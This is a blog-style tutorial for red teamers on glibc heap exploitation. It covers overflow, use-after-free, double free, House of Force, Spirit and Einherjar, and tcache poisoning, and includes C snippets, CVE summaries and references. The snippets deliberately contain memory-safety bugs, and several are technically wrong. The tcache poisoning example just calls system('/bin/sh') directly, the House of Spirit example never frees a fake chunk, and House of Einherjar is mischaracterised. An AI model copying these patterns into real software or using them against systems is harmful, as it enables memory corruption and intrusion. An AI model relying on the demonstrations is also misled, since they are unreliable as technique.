Heap exploitation is one of the most intriguing and complex areas of exploit development. It requires a deep understanding of both the application you’re targeting and the underlying memory management mechanisms of the operating system. As red teamers and pen testers, mastering heap exploitation techniques will elevate your ability to discover and exploit vulnerabilities in modern software.

In this comprehensive article, we’ll dive into the advanced techniques of heap exploitation, focusing on both historical and modern methods. We’ll cover the fundamental concepts, various heap management strategies, and practical exploitation techniques. We’ll also look at real-world examples and provide code snippets to illustrate these techniques in action.

Introduction to Heap Exploitation

Heap exploitation involves manipulating the dynamic memory allocation used by applications to achieve arbitrary code execution or other malicious objectives. Unlike stack-based exploitation, heap exploitation targets the application’s use of the heap, which is a region of memory used for dynamic memory allocation.

Heap exploitation techniques have evolved significantly over the years due to improvements in memory protection mechanisms such as DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization). Despite these advancements, skilled attackers can still find ways to bypass these protections.

Heap Management Fundamentals

The heap is managed by the memory allocator of the operating system, which can vary depending on the platform (e.g., glibc’s ptmalloc on Linux, Windows Heap Manager on Windows). The allocator handles requests for dynamic memory allocation (malloc), deallocation (free), and resizing (realloc).

Key concepts to understand include:

  • Chunks: The basic unit of allocation on the heap. Each chunk consists of metadata and the actual user data.
  • Bins: Data structures used by the allocator to organize free chunks. Common types include fast bins, small bins, and large bins.
  • Free List: A linked list of free chunks maintained by the allocator.

Understanding Heap Metadata

Heap metadata is crucial for understanding and exploiting heap vulnerabilities. Metadata typically includes the size of the chunk, flags indicating the state of the chunk (allocated or free), and pointers for linking chunks in free lists.

On Linux, for example, a typical chunk structure in ptmalloc includes:

struct malloc_chunk {
    size_t prev_size;  // Size of the previous chunk (if free)
    size_t size;       // Size of the current chunk, including metadata
    struct malloc_chunk* fd;  // Forward pointer (used if free)
    struct malloc_chunk* bk;  // Backward pointer (used if free)
};

Common Heap Vulnerabilities

Heap Overflow

Heap overflows occur when more data is written to a heap-allocated buffer than it can hold, potentially overwriting adjacent chunks’ metadata or user data.

Use-After-Free (UAF)

UAF vulnerabilities occur when memory is accessed after it has been freed. This can lead to arbitrary code execution if the freed memory is reallocated for another purpose.

Double Free

Double free vulnerabilities occur when the same chunk is freed multiple times, leading to corruption of the free list and potential arbitrary code execution.

Uninitialized Heap Variable

Uninitialized heap variable vulnerabilities occur when memory is used without being properly initialized, potentially leaking sensitive information or leading to memory corruption.

Exploitation Techniques

Heap Overflow

Heap overflow exploits often involve overwriting adjacent chunks’ metadata to manipulate the allocator’s behavior. For example, by overwriting the size field of an adjacent chunk, an attacker can cause the allocator to misinterpret the chunk’s boundaries.

Example:

#include <stdlib.h>
#include <string.h>

int main() {
    char* chunk1 = (char*)malloc(32);
    char* chunk2 = (char*)malloc(32);

    // Overflow chunk1 to overwrite chunk2's metadata
    memset(chunk1, 'A', 40);

    free(chunk2);  // Potentially dangerous due to corrupted metadata

    return 0;
}

Use-After-Free (UAF)

UAF exploits involve using a dangling pointer to execute arbitrary code. By carefully controlling the allocation and deallocation of memory, an attacker can replace a freed chunk with a controlled object.

Example:

#include <stdlib.h>
#include <string.h>

void vulnerable_function() {
    char* chunk = (char*)malloc(32);
    free(chunk);
    strcpy(chunk, "Exploiting UAF!");  // Dangerous: writing to freed memory
}

int main() {
    vulnerable_function();
    return 0;
}

Double Free

Double free exploits leverage the repeated freeing of the same chunk to corrupt the allocator’s state. This can lead to arbitrary memory writes or control over the allocator’s behavior.

Example:

#include <stdlib.h>

int main() {
    char* chunk = (char*)malloc(32);
    free(chunk);
    free(chunk);  // Double free: potential for heap corruption

    return 0;
}

Uninitialized Heap Variable

Uninitialized heap variable exploits involve using memory that has not been properly initialized, potentially leaking sensitive information or leading to memory corruption.

Example:

#include <stdlib.h>
#include <stdio.h>

void uninitialized_use() {
    char* chunk = (char*)malloc(32);
    printf("Uninitialized data: %s\n", chunk);  // Potentially dangerous

    free(chunk);
}

int main() {
    uninitialized_use();
    return 0;
}

Modern Heap Exploitation Techniques

House of Force

The House of Force technique exploits the top chunk’s size field to force the allocator to return a chunk at an arbitrary location.

Example:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main() {
    char* top_chunk = (char*)malloc(0x1000);  // Allocate large chunk to get the top chunk
    size_t* top_size = (size_t*)((char*)top_chunk - sizeof(size_t));

    *top_size = -1;  // Overwrite top chunk size with a large value
    char* controlled_chunk = (char*)malloc(0x1000000);  // Allocate chunk with controlled size

    printf("Controlled chunk at: %p\n", controlled_chunk);

    return 0;
}

House of Spirit

The House of Spirit technique involves placing a fake chunk on the heap and tricking the allocator into using it.

Example:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main() {
    char* fake_chunk = (char*)malloc(0x1000);
    size_t* fake_size = (size_t*)((char*)fake_chunk + 0x100);

    *fake_size = 0x41;  // Set up fake chunk size
    char* allocated_chunk = (char*)malloc(0x40);  // Allocate chunk

    printf("Allocated chunk at: %p\n", allocated_chunk);

    return 0;
}

House of Einherjar

The House of Einherjar technique targets the unsafe unlinking mechanism in older versions of glibc to achieve arbitrary code execution.

Example:

#include <stdlib.h>
#include <string.h>

struct chunk {
    size_t prev_size;
    size_t size;
    struct chunk* fd;
    struct chunk* bk;
};

int main() {
    struct chunk* fake_chunk = (struct chunk*)malloc(0x1000);
    fake_chunk->size = 0x20;  // Set up fake chunk

    struct chunk* victim_chunk = (struct chunk*)malloc(0x1000);
    free(victim_chunk);  // Free the victim chunk

    // Overwrite victim chunk's metadata
    fake_chunk->fd = victim_chunk->fd;
    fake_chunk->bk = victim_chunk->bk;

    free((void*)fake_chunk + sizeof(size_t));  // Trigger unsafe unlinking

    return 0;
}

Tcache Poisoning

Tcache poisoning involves corrupting the tcache (thread-local cache) to achieve arbitrary code execution. This technique is relevant for modern heap allocators that use tcache for fast memory allocation.

Example:

#include <stdlib.h>
#include <stdio.h>

int main() {
    char* chunk1 = (char*)malloc(0x40);
    char* chunk2 = (char*)malloc(0x40);

    free(chunk1);  // Free chunk1 to tcache
    free(chunk2);  // Free chunk2 to tcache

    // Overwrite chunk1's forward pointer in tcache
    *(char**)chunk1 = (char*)&system;

    // Allocate a new chunk, which will use the corrupted forward pointer
    char* controlled_chunk = (char*)malloc(0x40);

    // Overwrite the new chunk's content with a command
    strcpy(controlled_chunk, "/bin/sh");

    // Trigger the command execution
    system(controlled_chunk);

    return 0;
}

Real-World Examples

Example 1: Heartbleed (CVE-2014-0160)

Heartbleed is a well-known vulnerability in OpenSSL that allowed attackers to read sensitive information from the memory of the server. The vulnerability was due to a buffer over-read in the implementation of the TLS heartbeat extension. By sending a specially crafted heartbeat request, an attacker could read the contents of memory beyond the intended buffer.

Example 2: Dirty COW (CVE-2016-5195)

Dirty COW is a privilege escalation vulnerability in the Linux kernel. It exploits a race condition in the handling of the mmap system call. By exploiting this race condition, an attacker could write to read-only memory mappings, leading to privilege escalation.

Example 3: BlueKeep (CVE-2019-0708)

BlueKeep is a remote code execution vulnerability in Microsoft’s Remote Desktop Protocol (RDP). It exploits a heap-based buffer overflow in the RDP protocol implementation. By sending specially crafted RDP requests, an attacker could execute arbitrary code on the vulnerable system.

Tools for Heap Exploitation

Several tools can assist in heap exploitation:

  • GDB: The GNU Debugger is an essential tool for debugging and analyzing heap behavior.
  • pwndbg: An extension for GDB that provides additional heap analysis features.
  • HeapExploit: A collection of scripts and tools for automating heap exploitation tasks.
  • LibcSearcher: A tool for finding the offset of functions in the libc library based on known addresses.

References

  1. The Art of Exploitation by Jon Erickson: A comprehensive guide to understanding various exploitation techniques, including heap exploitation.

  2. Hacking: The Art of Exploitation, 2nd Edition by Jon Erickson: This book provides a solid foundation in understanding exploitation techniques with practical examples.

  3. Shellcoder’s Handbook: Discovering and Exploiting Security Holes by Chris Anley, John Heasman, Felix Lindner, and Gerardo Richarte: This book is a classic in the field of exploit development, covering a wide range of techniques including heap exploitation.

  4. The Malloc Des-Maleficarum by Phantasmal Phantasmagoria: A detailed paper on exploiting memory allocators, specifically focusing on the ptmalloc allocator used in glibc.

  5. Understanding glibc malloc by Sploitfun: An in-depth blog series that explains the internals of the glibc malloc implementation and various exploitation techniques.

  6. Exploit Development: Heap Spraying by Corelan Team: A practical guide to heap spraying techniques.

  7. Modern Binary Exploitation by RPISEC: A free online course from Rensselaer Polytechnic Institute that covers various aspects of binary exploitation, including heap exploitation.

  8. Heap exploitation #1 — Tcache attack by pwnPH0fun: A blog post detailing the Tcache poisoning technique for heap exploitation.

  9. Windows Heap Exploitation: Heap Overflows For Humans 101 by FuzzySecurity: A detailed tutorial on heap exploitation techniques.

Conclusion

Heap exploitation remains a critical skill for red teamers and pen testers. While modern memory protection mechanisms have made exploitation more challenging, understanding and mastering advanced techniques can provide significant advantages in finding and exploiting vulnerabilities. By continually practicing and refining these skills, you’ll be well-equipped to tackle even the most sophisticated targets.

Happy hacking!